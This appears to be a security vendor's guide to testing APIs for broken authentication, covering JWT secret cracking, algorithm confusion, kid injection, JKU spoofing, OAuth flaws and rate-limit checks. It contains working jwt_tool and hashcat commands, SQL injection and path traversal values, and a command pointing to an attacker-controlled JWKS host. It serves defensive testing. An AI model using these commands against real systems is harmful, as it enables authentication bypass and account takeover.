Most API authentication failures are caused by authentication mechanisms that are present but broken. A token is issued, a secret is set, a flow is wired up, and everything runs and looks correct until someone tests it properly.
This guide and checklist covers the full detection methodology for broken API authentication: how to find unauthenticated endpoints that should be protected, how to test each authentication method for mechanism-specific weaknesses, and how to verify that controls are actually enforced – not merely present in the code.

Authentication is supposed to be the first line of defense for any API. In practice, it’s often the first thing that fails. Wallarm’s analysis of 60 API breaches disclosed in 2025 found that broken authentication was the leading cause, responsible for 52% of incidents. Of the API vulnerabilities published that year, 59% required no authentication at all to exploit – the endpoint was simply open.
But the headline number understates the full problem. APIs that require authentication and implement it incorrectly are often harder to detect than APIs with no authentication at all. If you have “supersecretjwt” set as your JSON Web Token (JWT) signing key, it may look like authentication is working – tokens are issued, tokens are validated, the system appears secure. Until a security tester (or malicious attacker) cracks the signing key in seconds using an offline dictionary attack, forges an admin token, and calls every endpoint in the system with a valid identity they constructed from scratch.
Invicti’s own security research into AI-generated web applications found exactly this pattern at scale: weak, predictable JWT signing secrets – values like supersecretjwt, supersecretkey, and jwt_secret – appeared repeatedly across over 20,000 vibe-coded apps, reused verbatim from LLM training data. If that goes into prod, what looks like authentication is merely a formality.
Authentication weaknesses in APIs span multiple mechanisms, including:
This guide covers the complete detection methodology across all of them – complementing the BOLA detection and authenticated API testing guides in this blog series. If you’re looking for the full checklist, you can skip ahead.
Broken API authentication (API2:2023 in the OWASP API Security Top 10) occurs when an API fails to properly verify the identity of the entity making a request. This can be caused by having no authentication requirement on endpoints that should be protected or by implementing authentication mechanisms with exploitable weaknesses such as weak signing secrets, missing token expiry, algorithm confusion, OAuth flow vulnerabilities, the absence of rate limiting, or credential validation bypasses. Testing for broken API authentication requires testing each authentication method used by the API for mechanism-specific weaknesses, not just verifying that a token is nominally required.
Before testing any mechanism, you need to understand what authentication methods your API uses and where. Modern APIs frequently deploy multiple mechanisms simultaneously – typically JWT for user-facing endpoints, API keys for service-to-service calls, OAuth for third-party integrations, and session cookies for web-application-backed endpoints.
Document every authentication mechanism before you run a single test:
securitySchemes and security sections that document the intended authentication mechanisms per endpoint./v1/) often use different – and weaker – authentication than current versions (/v2/). This is one of the most reliable places to find authentication regressions.Before mechanism-specific testing, run a baseline: test every documented endpoint without any authentication credentials.
# Baseline unauthenticated test with no Authorization header, no cookies, no API key
GET /api/v1/users/profile
# Expected: 401 Unauthorized
# Authentication weakness confirmed if: 200 OK with data returnedThis test is the quickest to run and, given that over half of API vulnerabilities in 2025 required no authentication to exploit, often the most productive. Run it against every endpoint in the inventory before proceeding to mechanism-specific testing.
JWT is the most commonly used authentication mechanism in modern APIs and has the richest weakness taxonomy. JWT weaknesses span weak signing secrets, algorithm confusion, header parameter injection, broken token lifecycle management, and exploitable claim structures – each requiring a distinct test approach.
A JWT is signed using a secret key. If that secret is weak or predictable – “secret”, “password”, “supersecretjwt”, the application name, the framework default – it can be cracked offline using a dictionary attack against the captured token. No network access to the target is required once you have the token.
Invicti’s analysis of over 20,000 AI-generated web applications found this pattern at scale: LLMs repeatedly reuse JWT signing secrets from their training data, producing values like supersecretjwt and supersecretkey across thousands of independently generated apps. Any of these applications would be cracked in seconds.
Testing approach for weak secrets:
base64 -d on the header and payload segments).alg claim – typically HS256, HS384, or HS512).# Using hashcat for HS256 JWT cracking
JWT_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxMjMiLCJyb2xlIjoidXNlciJ9.signature"
# Crack with a common password wordlist
hashcat -a 0 -m 16500 "$JWT_TOKEN" /usr/share/wordlists/rockyou.txt
# Alternative: jwt_tool
python3 jwt_tool.py "$JWT_TOKEN" -C -d /usr/share/wordlists/rockyou.txtIf the secret cracks, an attacker would be able to forge valid JWTs with any claims, including "role": "admin". This is a critical finding that confirms full authentication bypass.
Some JWT libraries accept alg: none as a valid algorithm, meaning they will process a token with no signature at all. Others can be confused into accepting a different signing algorithm than the one the server intends to use.
The two variants to test are:
alg:none attack: Modify the JWT header to set "alg": "none", remove the signature segment, and submit the resulting token (header.payload. with a trailing dot). If the API accepts it, no signature is required.Testing this using jwt_tool is straightforward:
# Using jwt_tool for algorithm confusion testing
# Test alg:none
python3 jwt_tool.py "$JWT_TOKEN" -X a
# Test RS256 -> HS256 key confusion
python3 jwt_tool.py "$JWT_TOKEN" -X k -pk public_key.pem The -X k flag requires the server’s public key file. Retrieve it from the application’s JWKS endpoint (typically /.well-known/jwks.json) or the spec, convert it to PEM format, and pass it with -pk.
Note that -X k (key confusion) is distinct from -X s (JWKS spoofing), which attempts to serve a forged JWKS endpoint and requires additional infrastructure – that attack class is covered next.
kid (key ID) parameter injection and JWKS spoofingTwo further attack classes target JWT header parameters that libraries use to look up signing keys, rather than the signing algorithm itself.
kid (key ID) injectionThe kid header parameter tells the server which key to use for signature verification. If the application passes the kid value unsanitized into a database query or file lookup, it becomes an injection surface. Common attack variants include SQL injection ("kid": "' OR 1=1--") and path traversal ("kid": "../../dev/null" or "kid": "/dev/null" – pointing to an empty or predictable file as the signing key, then signing the forged token with an empty string or known content).
# Test kid path traversal with jwt_tool
python3 jwt_tool.py "$JWT_TOKEN" -I -hc kid -hv "../../dev/null" -S hs256 -p ""
# Signs a forged token using an empty string as the HS256 secret,
# with kid pointing to /dev/null – accepted if the library reads the kid path literallySome libraries fetch the signing key from a URL specified in the JWT header itself (jku or x5u claims). If the library doesn’t validate that the URL belongs to a trusted domain, an attacker can point it to an attacker-controlled JWKS endpoint serving a forged key, then sign a token with the corresponding private key:
# Test JKU header injection with jwt_tool
python3 jwt_tool.py "$JWT_TOKEN" -X s -ju "https://attacker.example.com/jwks.json"
# Serves a forged JWKS at the specified URL; jwt_tool generates the key pairBoth attacks require the library to trust attacker-supplied header values without validation – a configuration error rather than an algorithmic flaw, but one that remains common in frameworks that implement JWT support permissively.
Test whether expired tokens are rejected and whether logout actually invalidates tokens server-side:
# Test 1: Expired token acceptance
GET /api/v1/profile
Authorization: Bearer [EXPIRED_TOKEN]
# Expected: 401 Unauthorized
# Weakness: 200 OK means expired tokens are accepted
# Test 2: Post-logout token validity
POST /api/v1/logout
Authorization: Bearer [VALID_TOKEN]
→ 200 OK (logged out)
GET /api/v1/profile
Authorization: Bearer [SAME_TOKEN_FROM_BEFORE_LOGOUT]
# Expected: 401 Unauthorized
# Weakness: 200 OK means logout doesn't revoke tokens server-sideIf you’ve cracked or forged a signing secret, also test claim manipulation: change "role": "user" to "role": "admin", escalate "userId" to a privileged account, or extend the "exp" claim into the future. Each of these confirms a distinct exploitable condition.
OAuth 2.0 introduces a complex multi-step flow with several distinct places where implementation errors create exploitable weaknesses. Test each one independently.
Authorization codes should be strictly single-use. After a code is exchanged for an access token, attempting to reuse the same code should return an error. A basic reuse testing flow might be:
# Step 1: Complete normal OAuth flow, capture the authorization code
GET /oauth/callback?code=AUTH_CODE_123&state=xyz
# Step 2: Exchange code for token (normal flow)
POST /oauth/token
grant_type=authorization_code&code=AUTH_CODE_123&redirect_uri=...
→ 200 OK with access_token
# Step 3: Test code reuse
POST /oauth/token
grant_type=authorization_code&code=AUTH_CODE_123&redirect_uri=...
# Expected: 400 Bad Request ("code already used")
# Weakness: 200 OK with a new access token means codes are reusableFor public clients such as mobile applications and single-page applications (SPAs), PKCE prevents authorization code interception attacks. Test whether it’s actually enforced:
# Attempt authorization without code_challenge
GET /oauth/authorize?response_type=code&client_id=PUBLIC_CLIENT&redirect_uri=...
# (no code_challenge or code_challenge_method parameters)
# Expected: 400 Bad Request (PKCE required for public client)
# Weakness: authorization code returned without PKCE enforcementThe OAuth state parameter prevents cross-site request forgery (CSRF) attacks on the authorization flow. Test whether it’s validated by initiating a flow, capturing the state value, then completing a second flow with the state parameter modified or omitted. If the callback accepts a modified state, the CSRF protection is absent.
Test whether access tokens actually enforce their stated scope:
# Request a read-only token
POST /oauth/token
scope=read
# Test whether the read-only token can perform write operations
PUT /api/v1/user/profile
Authorization: Bearer [READ_ONLY_TOKEN]
Content-Type: application/json
{"name": "Modified Name"}
# Expected: 403 Forbidden
# Weakness: 200 OK means scope restrictions aren't enforced at the resource levelAlso test refresh token rotation: after using a refresh token to obtain a new access token, the refresh token should be invalidated. If it can be used again, rotation isn’t implemented.
API keys are the simplest authentication mechanism and have a straightforward set of testable weaknesses.
If API keys follow a predictable pattern – sequential values, short alphanumeric strings, or values based on user IDs or timestamps – they can be guessed without brute-forcing the full key space. Collect several legitimately issued keys and inspect them for structure: fixed-length patterns, sequential suffixes, base64-encoded identifiable data, or correlations with other parameters returned by the API:
# Collect multiple API keys issued across different accounts and compare
# Look for: sequential suffixes, timestamp components, short entropy, shared prefixes
key_1="sk_live_abc001"
key_2="sk_live_abc002"
key_3="sk_live_abc003"
# Sequential pattern – key space can be enumeratedRate limiting is a separate concern from predictability: even a high-entropy key can be brute-forced eventually if the endpoint accepts unlimited requests. Test whether the API enforces a 429 response under rapid key submission volume, regardless of whether the key values are structured:
# Test rate limiting by sending a fixed (invalid) key at volume
# We're checking for 429 responses, not testing key guessability
for i in $(seq 1 200); do
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-H "X-API-Key: invalid_key_test" \
https://api.example.com/endpoint)
echo "Attempt $i: HTTP $HTTP_STATUS"
done
# Expected: 429 Too Many Requests after N attempts
# Weakness: continuous 401 or 403 responses with no rate limitingTest whether API keys issued with restricted permissions can access resources outside their intended scope – the same test as OAuth scope enforcement, applied to API key-based authorization.
?api_key=...). Query strings are logged by proxies and web servers, which means keys transmitted this way are routinely captured in server logs.Web-application-backed APIs often use session cookies. The testable weakness set covers both the security of the tokens themselves and the attributes on the cookies that carry them.
Capture multiple sequential session tokens from separate logins and analyze them for patterns: sequential suffixes, timestamp-based components, or identifiable structure. Predictable session tokens can be guessed or enumerated without knowing the signing secret:
# Capture multiple sequential session tokens after separate logins
# Analyze for patterns, sequential IDs, or timestamp-based generation
tokens = [
"sessionid_abc123_1704067200",
"sessionid_abc124_1704067201",
# Sequential suffixes indicate predictable token generation
]Inspect the Set-Cookie headers returned on authentication responses:
# Missing security attributes to flag:
Set-Cookie: session=abc123; Path=/
# - No HttpOnly: JavaScript can read the session cookie (XSS escalation path)
# - No Secure: cookie transmits over unencrypted HTTP
# - No SameSite: CSRF attacks possible
# - No expiry: session persists indefinitely
# Correct baseline:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600Test whether the application issues a new session token after authentication or reuses the pre-authentication token:
Session fixation is confirmed if the same token from before authentication is still valid after authentication. An attacker who can supply a victim with a known session token – through a cookie-setting vulnerability, a shared environment, or other means – and then wait for the victim to authenticate will inherit a fully authenticated session.
Rate limiting on authentication endpoints is the primary defense against credential stuffing and brute-force attacks – and is frequently absent or inconsistently applied across login, refresh, and password reset endpoints.
# Test rate limiting on the login endpoint
for i in $(seq 1 100); do
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST https://api.example.com/auth/login \
-H "Content-Type: application/json" \
-d '{"username":"test@example.com","password":"wrong_password_'$i'"}')
echo "Attempt $i: HTTP $HTTP_STATUS"
done
# Expected: 429 Too Many Requests after N attempts
# Weakness: continuous 401 Unauthorized responses indicate no rate limitingTest whether rate limiting is enforced per-IP address, per account identifier, or both:
Test whether the token refresh endpoint is separately rate-limited. Refresh endpoints are frequently less well-protected than login endpoints because they don’t involve credential submission – but they are equally valuable to attackers who have obtained a refresh token:
o
POST /auth/refresh
{"refresh_token": "REFRESH_TOKEN"}Beyond the baseline unauthenticated sweep, three techniques reliably surface authentication gaps that a simple credential-strip test misses.
Test whether older API versions lack authentication controls that are enforced in current versions:
# Current version (authenticated required)
GET /api/v2/users/profile
Authorization: Bearer TOKEN
→ 200 OK
# Older version – test without credentials
GET /api/v1/users/profile
# No Authorization header
→ Expected: 401 Unauthorized
→ Weakness: 200 OK returnedMany APIs maintain older versions for backward compatibility without applying the same security controls. This is one of the most consistent sources of authentication gaps in mature API environments.
Test whether authentication is consistently enforced across all HTTP methods on a given endpoint:
# Authenticated endpoint for GET
GET /api/v1/documents/123
Authorization: Bearer TOKEN
→ 200 OK
# Test POST to same endpoint without authentication
POST /api/v1/documents/123
# No Authorization header
→ Expected: 401 Unauthorized
→ Weakness: 200 OK (authentication enforced per-method, not per-resource)Test authentication enforcement with path and format variations:
# Standard path (authentication enforced)
GET /api/v1/users/me
# Variations to test without authentication:
GET /api/v1/users/me.json
GET /api/v1/users/me;foo=bar
GET /api/v1/users/me%2f
GET /API/v1/users/mePath normalization inconsistencies can bypass authentication middleware that checks the exact path string without normalizing it first. The middleware blocks /api/v1/users/me; the application routes /api/v1/users/me.json to the same handler without passing through the middleware.
Manual testing can cover the authentication surface systematically, but it can’t scale across hundreds of endpoints and continuous deployment cycles. Invicti’s API security testing automates authentication testing as part of API-aware dynamic application security testing (DAST) across known and discovered endpoints – including endpoints surfaced through API discovery that may not appear in any specification or manual inventory. API endpoints can be automatically tested without credentials as a baseline to confirm whether they return protected data before any mechanism-specific checks run.
Beyond the unauthenticated baseline, available security checks include:
alg:none bypass, and header parameter injection attacks including kid path traversal, kid SQL injection, and unvalidated jku, jwk, x5u, and x5c parameters.Every confirmed finding includes proof-based evidence in the form of the specific request that demonstrated the weakness and the response that confirmed exploitation – not probable flags. For more complex or sensitive gaps listed in this guide, such as RS256-to-HS256 key confusion, OAuth scope enforcement, or the absence of rate-limiting, human-directed testing remains necessary. Automated API DAST scanning handles the systematic baseline that manual effort alone can’t sustain at scale.
Use this checklist as a quick reference during assessments and as a coverage verification tool after testing. Each item maps to a specific test case in the methodology above.
The authentication surface of a modern API isn’t a single mechanism to verify – it’s a stack of them, and a weakness in any one is enough. A crackable JWT secret undermines every endpoint the token grants access to. A missing rate limit on a login endpoint turns credential stuffing from a theoretical risk into an overnight attack. An OAuth flow that accepts reused authorization codes hands attackers a window that stays open long after the legitimate user has moved on.
The methodology above covers all of it – but coverage only counts if it keeps pace with the API itself. New endpoints, versioned releases, and third-party integrations all introduce fresh authentication surface. Manual testing handles the nuanced cases, while automated scanning maintains a continuous baseline.
Weak API authentication occurs when an API fails to properly verify the identity of the entity making a request – either because endpoints have no authentication requirement at all, or because the authentication mechanism in place has exploitable weaknesses: crackable JWT signing secrets, algorithm confusion, OAuth flow vulnerabilities, missing rate limiting, or credential validation bypasses. Covered by API2:2023 in the OWASP API Security Top 10, it’s consistently the leading cause of API breaches. Testing for it requires examining each mechanism the API uses for mechanism-specific weaknesses, not just confirming that a token is nominally required.
JWT testing covers several distinct attack classes, each requiring a different technique. Weak signing secrets are tested using offline dictionary attacks (hashcat or jwt_tool) against a captured token – no network access required. Algorithm confusion tests whether the library accepts alg:none (no signature at all) or can be tricked into accepting an RS256 token re-signed with the public key as an HS256 secret. Header parameter injection tests whether the kid claim is vulnerable to path traversal or SQL injection, and whether external key references via jku, jwk, x5u, or x5c parameters are validated against a trusted domain. Token lifecycle testing confirms that expired tokens return 401 and that logout invalidates tokens server-side rather than just client-side.
The five things to test are: whether authorization codes are strictly single-use; whether PKCE is enforced for public clients (mobile apps and SPAs) – the most commonly skipped control; whether the state parameter is validated to prevent CSRF on the callback; whether access tokens enforce their stated scope at the resource endpoint, not just at issuance; and whether refresh tokens are invalidated after rotation. Each is an independent test – a flow can pass four and fail one.
The four areas to cover are predictability, rate limiting, scope enforcement, and exposure. Predictability testing involves collecting several legitimately issued keys and inspecting them for sequential patterns, timestamp components, or short entropy. Rate limiting is tested by sending a fixed invalid key at volume and checking whether the endpoint returns 429. Exposure testing checks whether keys appear in URL query strings (where they land in server logs), error messages, or API response bodies.
Broken API authentication is API2:2023 in the OWASP API Security Top 10. It covers missing authentication on endpoints, weak mechanism implementations (JWT, OAuth, API keys, session tokens), token lifecycle failures, and missing brute-force protections. It’s distinct from API5:2023 (broken function level authorization), which covers what an authenticated identity is permitted to do – the authorization failures that often sit directly behind a broken authentication weakness.
Yes, for specific weakness classes. Invicti tests every discovered endpoint without credentials as a baseline, and includes named checks for JWT weaknesses including weak signing secrets, signature validation absence, alg:none bypass, and header parameter injection via kid, jku, jwk, x5u, and x5c. OAuth-authenticated scanning is supported across all four grant types with dynamic token rotation. RS256-to-HS256 key confusion, expired token acceptance, OAuth scope enforcement, and rate-limiting absence require human-directed testing – these involve attack logic that goes beyond what dynamic scanning can replicate automatically.
